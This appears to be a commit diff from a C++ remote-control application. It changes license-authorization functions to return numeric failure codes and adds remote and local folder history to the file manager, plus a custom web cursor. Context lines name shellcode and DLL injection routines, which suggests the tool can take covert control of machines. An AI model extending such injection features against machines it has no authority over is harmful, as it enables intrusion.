Improve master authorization logs and web remote desktop cursor
This commit is contained in:
Binary file not shown.
@@ -176,9 +176,9 @@ bool SupportsFileTransferV2(context* ctx) {
|
||||
}
|
||||
|
||||
// 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次
|
||||
static bool ShouldLogAuth(const std::string& sn, bool success) {
|
||||
static bool ShouldLogAuth(const std::string& sn, int success) {
|
||||
struct AuthLogState {
|
||||
bool lastStatus;
|
||||
int lastStatus;
|
||||
time_t lastLogTime;
|
||||
};
|
||||
static std::map<std::string, AuthLogState> s_cache;
|
||||
@@ -4526,12 +4526,12 @@ bool IsDateInRange(const std::string& startDate, const std::string& endDate)
|
||||
return (today >= startDate && today <= endDate);
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired)
|
||||
int CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired)
|
||||
{
|
||||
if (outExpired) *outExpired = false;
|
||||
|
||||
if (sn.empty() || passcode.empty() || hmac == 0) {
|
||||
return FALSE;
|
||||
return 1;
|
||||
}
|
||||
auto v = splitString(passcode, '-');
|
||||
if (v.size() == 6 || v.size() == 7) {
|
||||
@@ -4541,7 +4541,7 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
if (hash256 != fixedKey)
|
||||
return FALSE;
|
||||
return 2;
|
||||
}
|
||||
|
||||
static const char* superAdmin = getenv(BRAND_ENV_VAR);
|
||||
@@ -4550,14 +4550,13 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
Mprintf("请设置环境变量 " BRAND_ENV_VAR " 来给下级授权!\n");
|
||||
}
|
||||
BOOL b = VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac);
|
||||
if (!b) return FALSE;
|
||||
if (!b) return 3;
|
||||
auto list = StringToVector(passcode, '-', 2);
|
||||
BOOL valid = IsDateInRange(list[0], list[1]);
|
||||
std::string hmacStr = std::to_string(hmac);
|
||||
|
||||
// 授权过期,更新或创建记录并标记为过期
|
||||
if (!valid) {
|
||||
Mprintf("授权已过期: %s\n", sn.c_str());
|
||||
if (outExpired) *outExpired = true; // 签名有效但已过期
|
||||
if (ctx != nullptr) {
|
||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||
@@ -4568,13 +4567,12 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
UpdateLicenseActivity(sn, passcode, hmacStr);
|
||||
}
|
||||
SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
|
||||
return FALSE;
|
||||
return 4;
|
||||
}
|
||||
|
||||
// 检查授权是否已被撤销
|
||||
if (IsLicenseRevoked(sn)) {
|
||||
Mprintf("授权已被撤销: %s\n", sn.c_str());
|
||||
return FALSE;
|
||||
return 5;
|
||||
}
|
||||
|
||||
// 授权成功时更新 license 活跃信息
|
||||
@@ -4587,21 +4585,20 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
UpdateLicenseActivity(sn, passcode, hmacStr);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired)
|
||||
int CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired)
|
||||
{
|
||||
if (outExpired) *outExpired = false;
|
||||
|
||||
if (sn.empty() || passcode.empty() || hmacV2.empty()) {
|
||||
return FALSE;
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 检查 V2 前缀
|
||||
if (hmacV2.substr(0, 3) != "v2:") {
|
||||
Mprintf("V2 HMAC 格式错误: %s\n", hmacV2.c_str());
|
||||
return FALSE;
|
||||
return 2;
|
||||
}
|
||||
|
||||
// 检查公钥是否已配置(全零表示未配置)
|
||||
@@ -4613,15 +4610,13 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
}
|
||||
}
|
||||
if (!keyConfigured) {
|
||||
Mprintf("V2 公钥未配置,无法验证 V2 授权\n");
|
||||
return FALSE;
|
||||
return 3;
|
||||
}
|
||||
|
||||
// 使用 V2 验证
|
||||
BOOL b = verifyPasswordV2(sn, passcode, hmacV2, g_LicensePublicKey);
|
||||
if (!b) {
|
||||
Mprintf("V2 签名验证失败: %s\n", sn.c_str());
|
||||
return FALSE;
|
||||
return 4;
|
||||
}
|
||||
|
||||
auto list = StringToVector(passcode, '-', 2);
|
||||
@@ -4629,7 +4624,6 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
|
||||
// 授权过期
|
||||
if (!valid) {
|
||||
Mprintf("V2 授权已过期: %s\n", sn.c_str());
|
||||
if (outExpired) *outExpired = true; // 签名有效但已过期
|
||||
if (ctx != nullptr) {
|
||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||
@@ -4640,13 +4634,12 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
UpdateLicenseActivity(sn, passcode, hmacV2);
|
||||
}
|
||||
SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
|
||||
return FALSE;
|
||||
return 5;
|
||||
}
|
||||
|
||||
// 检查授权是否已被撤销
|
||||
if (IsLicenseRevoked(sn)) {
|
||||
Mprintf("V2 授权已被撤销: %s\n", sn.c_str());
|
||||
return FALSE;
|
||||
return 6;
|
||||
}
|
||||
|
||||
// 授权成功时更新 license 活跃信息
|
||||
@@ -4659,7 +4652,7 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
UpdateLicenseActivity(sn, passcode, hmacV2);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL IsTrail(const std::string& passcode)
|
||||
@@ -5785,7 +5778,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
||||
const std::string& hmacV2, const std::string& ip, const char* source)
|
||||
{
|
||||
bool authorized = false;
|
||||
BOOL authorized = -1;
|
||||
bool isV2 = false;
|
||||
bool isTrail = false;
|
||||
bool expired = false;
|
||||
@@ -5794,19 +5787,19 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
// V2 授权验证
|
||||
isV2 = true;
|
||||
authorized = AuthorizeClientV2(host, sn, passcode, hmacV2, &expired);
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
if (host) {
|
||||
m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
|
||||
}
|
||||
isTrail = IsTrail(passcode.c_str());
|
||||
}
|
||||
if (ShouldLogAuth(sn, authorized)) {
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
Mprintf("[%s] %s V2 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V2 授权成功: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
} else {
|
||||
Mprintf("[%s] %s V2 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
}
|
||||
@@ -5815,26 +5808,26 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
// V1 授权验证
|
||||
isV2 = false;
|
||||
authorized = AuthorizeClient(host, sn, passcode, hmac, &expired);
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
if (host) {
|
||||
m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
|
||||
}
|
||||
isTrail = IsTrail(passcode.c_str());
|
||||
}
|
||||
if (ShouldLogAuth(sn, authorized)) {
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
Mprintf("[%s] %s V1 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V1 授权成功: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
} else {
|
||||
Mprintf("[%s] %s V1 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return std::make_tuple(authorized, isV2, isTrail, expired);
|
||||
return std::make_tuple(authorized==0, isV2, isTrail, expired);
|
||||
}
|
||||
|
||||
// 检查并发送预设续期(多点验证)
|
||||
@@ -8609,6 +8602,22 @@ context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint64_t CMy2015RemoteDlg::FindClientIDByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
uint64_t clientID = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||
context* ContextObject = *i;
|
||||
if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP || ContextObject->GetAdditionalData(RES_CLIENT_PUBIP) == clientIP) {
|
||||
clientID = ContextObject->GetClientID();
|
||||
break;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return clientID;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
std::string* ip = (std::string*)wParam;
|
||||
|
||||
@@ -215,8 +215,8 @@ public:
|
||||
MasterSettings m_settings;
|
||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||
BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
|
||||
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||
int AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
|
||||
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
|
||||
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
|
||||
@@ -255,6 +255,7 @@ public:
|
||||
CGridDialog * m_gridDlg = NULL;
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
context* FindHostByIP(const std::string& ip);
|
||||
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全:在锁内获取ID
|
||||
void InjectTinyRunDll(const std::string& ip, int pid);
|
||||
NOTIFYICONDATA m_Nid;
|
||||
HANDLE m_hExit;
|
||||
|
||||
@@ -25,6 +25,26 @@ static UINT indicators[] = {
|
||||
#define MAX_SEND_BUFFER 65535
|
||||
#define MAX_RECV_BUFFER 65535
|
||||
|
||||
// 静态成员变量定义 - 历史路径记录
|
||||
CString CFileManagerDlg::s_strLocalHistoryPath;
|
||||
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
|
||||
CLock CFileManagerDlg::s_lockHistory;
|
||||
|
||||
// 获取有效的客户端ID:优先用 m_ClientID,否则通过 IP 找主连接
|
||||
uint64_t CFileManagerDlg::GetClientID() const
|
||||
{
|
||||
// 优先使用已设置的 m_ClientID(未来 TOKEN_CLIENTID 会设置这个)
|
||||
if (m_ClientID != 0) {
|
||||
return m_ClientID;
|
||||
}
|
||||
// 回退:通过 IP 找主连接获取 ClientID(线程安全)
|
||||
if (g_2015RemoteDlg && m_ContextObject) {
|
||||
std::string peerIP = m_ContextObject->GetPeerName();
|
||||
return g_2015RemoteDlg->FindClientIDByIP(peerIP);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
LVITEM* plvi;
|
||||
CString sCol2;
|
||||
@@ -137,10 +157,12 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
||||
ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads)
|
||||
ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome)
|
||||
ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch)
|
||||
ON_COMMAND(IDT_LOCAL_HISTORY, OnLocalHistory)
|
||||
ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop)
|
||||
ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads)
|
||||
ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome)
|
||||
ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch)
|
||||
ON_COMMAND(IDT_REMOTE_HISTORY, OnRemoteHistory)
|
||||
ON_COMMAND(IDM_TRANSFER, OnTransfer)
|
||||
ON_COMMAND(IDM_RENAME, OnRename)
|
||||
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
|
||||
@@ -494,6 +516,12 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
|
||||
}
|
||||
|
||||
ShowMessage(_TRF("本地:装载目录 %s 完成"), m_Local_Path);
|
||||
|
||||
// 记录本地历史路径
|
||||
if (m_Local_Path.GetLength() > 0) {
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
s_strLocalHistoryPath = m_Local_Path;
|
||||
}
|
||||
}
|
||||
|
||||
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
|
||||
@@ -966,6 +994,8 @@ void CFileManagerDlg::OnReceiveComplete()
|
||||
ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed);
|
||||
}
|
||||
break;
|
||||
case TOKEN_CLIENTID:
|
||||
break;
|
||||
default:
|
||||
SendException();
|
||||
break;
|
||||
@@ -1024,6 +1054,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path);
|
||||
m_Remote_Directory_ComboBox.SetCurSel(0);
|
||||
|
||||
// 记录远程历史路径(按客户端ID区分)
|
||||
uint64_t clientID = GetClientID();
|
||||
if (m_Remote_Path.GetLength() > 0 && clientID != 0) {
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
s_mapRemoteHistoryPath[clientID] = m_Remote_Path;
|
||||
}
|
||||
|
||||
// 得到返回数据前禁窗口
|
||||
m_list_remote.EnableWindow(FALSE);
|
||||
m_ProgressCtrl->SetPos(0);
|
||||
@@ -1594,6 +1631,57 @@ void CFileManagerDlg::OnRemoteSearch()
|
||||
}
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnLocalHistory()
|
||||
{
|
||||
// 跳转到上次打开的本地文件夹
|
||||
CString historyPath;
|
||||
{
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
historyPath = s_strLocalHistoryPath;
|
||||
}
|
||||
|
||||
if (historyPath.IsEmpty()) {
|
||||
ShowMessage(_TR("没有本地历史记录"));
|
||||
return;
|
||||
}
|
||||
|
||||
// 检查目录是否存在
|
||||
if (GetFileAttributesA(historyPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
ShowMessage(_TRF("历史目录不存在: %s"), historyPath);
|
||||
return;
|
||||
}
|
||||
|
||||
m_Local_Path = historyPath;
|
||||
FixedLocalFileList(".");
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRemoteHistory()
|
||||
{
|
||||
// 跳转到上次打开的远程文件夹(按客户端ID区分)
|
||||
uint64_t clientID = GetClientID();
|
||||
if (clientID == 0) {
|
||||
ShowMessage(_TR("无法识别远程主机"));
|
||||
return;
|
||||
}
|
||||
|
||||
CString historyPath;
|
||||
{
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
auto it = s_mapRemoteHistoryPath.find(clientID);
|
||||
if (it != s_mapRemoteHistoryPath.end()) {
|
||||
historyPath = it->second;
|
||||
}
|
||||
}
|
||||
|
||||
if (historyPath.IsEmpty()) {
|
||||
ShowMessage(_TR("没有远程历史记录"));
|
||||
return;
|
||||
}
|
||||
|
||||
m_Remote_Path = historyPath;
|
||||
GetRemoteFileList(".");
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnLocalView()
|
||||
{
|
||||
// TODO: Add your command handler code here
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
|
||||
#include "IOCPServer.h"
|
||||
#include "SortListCtrl.h"
|
||||
#include "../../common/locker.h"
|
||||
#include <map>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
@@ -246,10 +247,12 @@ protected:
|
||||
afx_msg void OnLocalDownloads();
|
||||
afx_msg void OnLocalHome();
|
||||
afx_msg void OnLocalSearch();
|
||||
afx_msg void OnLocalHistory();
|
||||
afx_msg void OnRemoteDesktop();
|
||||
afx_msg void OnRemoteDownloads();
|
||||
afx_msg void OnRemoteHome();
|
||||
afx_msg void OnRemoteSearch();
|
||||
afx_msg void OnRemoteHistory();
|
||||
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
|
||||
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
|
||||
//}}AFX_MSG
|
||||
@@ -274,6 +277,14 @@ private:
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
|
||||
float m_fScalingFactor;
|
||||
|
||||
// 历史路径记录(静态,跨实例共享)
|
||||
static CString s_strLocalHistoryPath;
|
||||
static std::map<uint64_t, CString> s_mapRemoteHistoryPath;
|
||||
static CLock s_lockHistory; // 保护历史路径的锁
|
||||
|
||||
// 获取有效的客户端ID(优先用 m_ClientID,否则通过 IP 找主连接)
|
||||
uint64_t GetClientID() const;
|
||||
public:
|
||||
afx_msg void OnFilemangerCompress();
|
||||
afx_msg void OnFilemangerUncompress();
|
||||
|
||||
@@ -228,7 +228,7 @@ public:
|
||||
{
|
||||
return m_bIsClosed;
|
||||
}
|
||||
uint64_t GetClientID() const {
|
||||
virtual uint64_t GetClientID() const {
|
||||
return m_ClientID;
|
||||
}
|
||||
BOOL SayByeBye()
|
||||
|
||||
@@ -1846,13 +1846,15 @@ inline std::string GetWebPageHTML() {
|
||||
|
||||
// Remote cursor mapping (Windows cursor index -> CSS cursor)
|
||||
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
|
||||
// Custom I-beam cursor with white fill and black stroke for visibility on any background
|
||||
const ibeamCursor = "url('data:image/svg+xml,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"24\" viewBox=\"0 0 16 24\"><path fill=\"none\" stroke=\"white\" stroke-width=\"3\" d=\"M4 3h8M8 3v18M4 21h8\"/><path fill=\"none\" stroke=\"black\" stroke-width=\"1\" d=\"M4 3h8M8 3v18M4 21h8\"/></svg>') 8 12, text";
|
||||
const cursorMap = [
|
||||
'progress', // 0: IDC_APPSTARTING
|
||||
'default', // 1: IDC_ARROW
|
||||
'crosshair', // 2: IDC_CROSS
|
||||
'pointer', // 3: IDC_HAND
|
||||
'help', // 4: IDC_HELP
|
||||
'text', // 5: IDC_IBEAM
|
||||
ibeamCursor, // 5: IDC_IBEAM - custom cursor with outline
|
||||
'default', // 6: IDC_ICON (no direct CSS equivalent)
|
||||
'not-allowed', // 7: IDC_NO
|
||||
'default', // 8: IDC_SIZE (deprecated, use default)
|
||||
|
||||
@@ -1819,3 +1819,7 @@ IOCP
|
||||
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
|
||||
请先选择至少一个插件=Please select at least one plugin
|
||||
|
||||
没有本地历史记录=No local history
|
||||
历史目录不存在: %s=History folder not exist: %s
|
||||
无法识别远程主机=Unknown remote machine
|
||||
没有远程历史记录=No remote history
|
||||
|
||||
@@ -1810,3 +1810,7 @@ IOCP
|
||||
<< 移除=<< 移除
|
||||
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
|
||||
请先选择至少一个插件=請先選擇至少一個外掛
|
||||
没有本地历史记录=没有本地历史记录
|
||||
历史目录不存在: %s=历史目录不存在: %s
|
||||
无法识别远程主机=无法识别远程主机
|
||||
没有远程历史记录=没有远程历史记录
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 19 KiB |
@@ -506,6 +506,8 @@
|
||||
#define IDT_REMOTE_DOWNLOADS 2235
|
||||
#define IDT_REMOTE_HOME 2236
|
||||
#define IDT_REMOTE_SEARCH 2237
|
||||
#define IDT_LOCAL_HISTORY 2238
|
||||
#define IDT_REMOTE_HISTORY 2239
|
||||
#define IDC_BUTTON_SAVE_LICENSE 2240
|
||||
#define IDC_LICENSE_LIST 2241
|
||||
#define IDC_COMBO_VERSION 2245
|
||||
|
||||
Reference in New Issue
Block a user